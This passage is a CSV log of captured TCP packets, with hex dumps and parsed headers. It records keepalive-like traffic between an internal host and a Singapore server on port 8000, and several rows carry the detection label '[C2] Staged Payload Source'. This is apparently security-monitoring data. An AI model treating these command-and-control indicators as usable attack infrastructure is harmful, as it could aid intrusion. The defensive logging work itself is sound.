Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d434000400602b1c0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-C@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11587, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 689, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:11:07.868711,746,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=58649547 Ack=3567895847,bc24112907bbbc2411360d0c08004500003db108400080063ee20a98980bc0a3a789fa5f1f40037eebcbd4a9c527501820147c7600001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45320, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16098, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649547, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31862, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:11:07.868739,747,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000282d444000400602bcc0a3a7890a98980b1f40fa5fd4a9c527037eebe05010003f0aeb0000,\".$.6\n..$.)....E..(-D@.@.......\n....@._...'.~..P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 11588, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 700, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:11:08.882562,748,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b109400080063ef50a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45321, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16117, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:08.882590,749,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d454000400602afc0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-E@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11589, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 687, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:09.882600,750,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b10a400080063ef40a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45322, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16116, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:09.882619,751,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d464000400602aec0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-F@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11590, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 686, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:10.882653,752,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b10b400080063ef30a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45323, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16115, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:10.882688,753,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d474000400602adc0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-G@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11591, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 685, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:11.882671,754,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b10c400080063ef20a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45324, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16114, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:11.882689,755,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d484000400602acc0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-H@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11592, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 684, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:12.882666,756,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b10d400080063ef10a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45325, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16113, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:12.882681,757,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d494000400602abc0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-I@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11593, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 683, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:13.882670,758,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b10e400080063ef00a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45326, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16112, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:13.882687,759,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d4a4000400602aac0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-J@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11594, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 682, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:14.898362,760,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649567 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b10f400080063eef0a98980bc0a3a789fa5f1f40037eebdfd4a9c52750102014e21f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45327, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16111, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649567, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:14.898388,761,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649568,bc2411360d0cbc24112907bb0800450000342d4b4000400602a9c0a3a7890a98980b1f40fa5fd4a9c527037eebe08010003f0af700000101050a037eebdf037eebe0,\".$.6\n..$.)....E..4-K@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11595, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 681, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649568, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649567, 58649568))]\"\"}}]\"\n2026-07-01 09:11:15.913994,762,TCP 10.152.152.11:64095 -> 